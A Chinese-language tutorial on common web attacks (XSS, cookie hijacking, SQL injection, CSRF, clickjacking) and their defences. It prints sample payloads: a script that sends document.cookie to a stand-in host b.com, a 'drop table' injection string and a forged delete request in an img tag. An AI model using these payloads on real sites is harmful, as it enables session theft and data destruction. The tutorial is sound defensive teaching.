對于一個(gè)Web應(yīng)用來說，可能會面臨很多不同的攻擊。下面的內(nèi)容將介紹一些常見的攻擊方法，以及面對這些攻擊的防御手段。
一、跨站腳本攻擊（XSS）
跨站腳本攻擊的英文全稱是Cross Site Script，為了和樣式表區(qū)分，縮寫為XSS。發(fā)生的原因是網(wǎng)站將用戶輸入的內(nèi)容輸出到頁面上，在這個(gè)過程中可能有惡意代碼被瀏覽器執(zhí)行。
跨站腳本攻擊可以分為兩種：
1). 反射型XSS
它是通過誘使用戶打開一個(gè)惡意鏈接，服務(wù)端將鏈接中參數(shù)的惡意代碼渲染到頁面中，再傳遞給用戶由瀏覽器執(zhí)行，從而達(dá)到攻擊的目的。如下面的鏈接：
http://a.com/a.jsp?name=xss<script>alert(1)</script>
a.jsp將頁面渲染成下面的html：
Hello xss<script>alert(1)</script>
這時(shí)瀏覽器將會彈出提示框。
2). 持久型XSS
持久型XSS將惡意代碼提交給服務(wù)器，并且存儲在服務(wù)器端，當(dāng)用戶訪問相關(guān)內(nèi)容時(shí)再渲染到頁面中，以達(dá)到攻擊的目的，它的危害更大。
比如，攻擊者寫了一篇帶惡意JS代碼的博客，文章發(fā)表后，所有訪問該博客文章的用戶都會執(zhí)行這段惡意JS。
Cookie劫持
Cookie中一般保存了當(dāng)前用戶的登錄憑證，如果可以得到，往往意味著可直接進(jìn)入用戶帳戶，而Cookie劫持也是最常見的XSS攻擊。以上面提過的反射型XSS的例子來說，可以像下面這樣操作：
首先誘使用戶打開下面的鏈接：
http://a.com/a.jsp?name=xss<script src=http://b.com/b.js></script>
用戶打開鏈接后，會加載b.js，并執(zhí)行b.js中的代碼。b.js中存儲了以下JS代碼：
var img = document.createElement("img"); img.src = "http://b.com/log?" + escape(document.cookie); document.body.appendChild(img);
上面的代碼會向b.com請求一張圖片，但實(shí)際上是將當(dāng)前頁面的cookie發(fā)到了b.com的服務(wù)器上。這樣就完成了竊取cookie的過程。
防御Cookie劫持的一個(gè)簡單的方法是在Set-Cookie時(shí)加上HttpOnly標(biāo)識，瀏覽器禁止JavaScript訪問帶HttpOnly屬性的Cookie。
XSS的防御
1). 輸入檢查
對輸入數(shù)據(jù)做檢查，比如用戶名只允許是字母和數(shù)字，郵箱必須是指定格式。一定要在后臺做檢查，否則數(shù)據(jù)可能繞過前端檢查直接發(fā)給服務(wù)器。一般前后端都做檢查，這樣前端可以擋掉大部分無效數(shù)據(jù)。
對特殊字符做編碼或過濾，但因?yàn)椴恢垒敵鰰r(shí)的語境，所以可能會做不適當(dāng)?shù)倪^濾，最好是在輸出時(shí)具體情況具體處理。
2). 輸出檢查
對渲染到HTML中內(nèi)容執(zhí)行HtmlEncode，對渲染到JavaScript中的內(nèi)容執(zhí)行JavascriptEncode。
另外還可以使用一些做XSS檢查的開源項(xiàng)目。
二、SQL注入
SQL注入常常會聽到，它與XSS類似，是由于用戶提交的數(shù)據(jù)被當(dāng)成命令來執(zhí)行而造成的。下面是一個(gè)SQL注入的例子：
String sql = "select * from user where username = '" + username + "'";
像上面的SQL語句，如果用戶提交的username參數(shù)是leo，則數(shù)據(jù)庫執(zhí)行的SQL為：
select * from user where username = 'leo'
但如果用戶提交的username參數(shù)是leo’; drop table user–，那執(zhí)行的SQL為：
select * from user where username = 'leo'; drop table user--'
在查詢數(shù)據(jù)后，又執(zhí)行了一個(gè)刪除表的操作，這樣的后果非常嚴(yán)重。
SQL注入的防御
防止SQL注入最好的方法是使用預(yù)編譯語句，如下面所示：
String sql = "select * from user where username = ?"; PreparedStatement pstmt = conn.prepareStatement(sql); pstmt.setString(1, username); ResultSet results = pstmt.executeQuery();
不同語言的預(yù)編譯方法不同，但基本都可以處理。
如果遇到無法使用預(yù)編譯方法時(shí)，只能像防止XSS那樣對參數(shù)進(jìn)行檢查和編碼。
三、跨站請求偽造（CSRF）
跨站請求偽造的英文全稱是Cross Site Request Forgery，是由于操作所需的所有參數(shù)都能被攻擊者得到，進(jìn)而構(gòu)造出一個(gè)偽造的請求，在用戶不知情的情況下被執(zhí)行。看下面一個(gè)例子：
如果a.com網(wǎng)站需要用戶登錄后可以刪除博客，刪除博客的請求地址如下：
GET http://a.com/blog/delete?id=1
當(dāng)用戶登錄a.com后，又打開了http://b.com/b.html，其中有下面的內(nèi)容：
<img src="http://a.com/blog/delete?id=1"/>
這時(shí)會以用戶在a.com的身份發(fā)送http://a.com/blog/delete?id=1，刪除那篇博客。
CSRF的防御
- 驗(yàn)證碼
CSRF是在用戶不知情的情況下構(gòu)造的網(wǎng)絡(luò)情況，驗(yàn)證碼則強(qiáng)制用戶與應(yīng)用交互，所以驗(yàn)證碼可以很好得防止CSRF。但不能什么請求都加驗(yàn)證碼。
- referer檢查
檢查請求header中的referer也能幫助防止CSRF攻擊，但服務(wù)器不是總能拿到referer，瀏覽器可能出于安全或隱私而不發(fā)送referer，所以也不常用。倒是圖片防盜鏈中用得很多。
- Anti CSRF Token
更多的是生成一個(gè)隨機(jī)的token，在用戶提交數(shù)據(jù)的同時(shí)提交這個(gè)token，服務(wù)器端比對后如果不正確，則拒絕執(zhí)行操作。
四、點(diǎn)擊劫持（ClickJacking）
點(diǎn)擊劫持是從視覺上欺騙用戶。攻擊者使用一個(gè)透明的iframe覆蓋在一個(gè)網(wǎng)頁上，誘使用戶在該網(wǎng)頁上操作，而實(shí)際點(diǎn)擊卻是點(diǎn)在透明的iframe頁面。
點(diǎn)擊劫持延伸出了很多攻擊方式，有圖片覆蓋攻擊、拖拽劫持等。
點(diǎn)擊劫持的防御
針對iframe的攻擊，可使用一個(gè)HTTP頭：X-Frame-Options，它有三種可選值：
- DENY： 禁止任何頁面的frame加載；
- SAMEORIGIN：只有同源頁面的frame可加載；
- ALLOW-FROM：可定義允許frame加載的頁面地址。
針對圖片覆蓋攻擊，則注意使用預(yù)防XSS的方法，防止HTML和JS注入。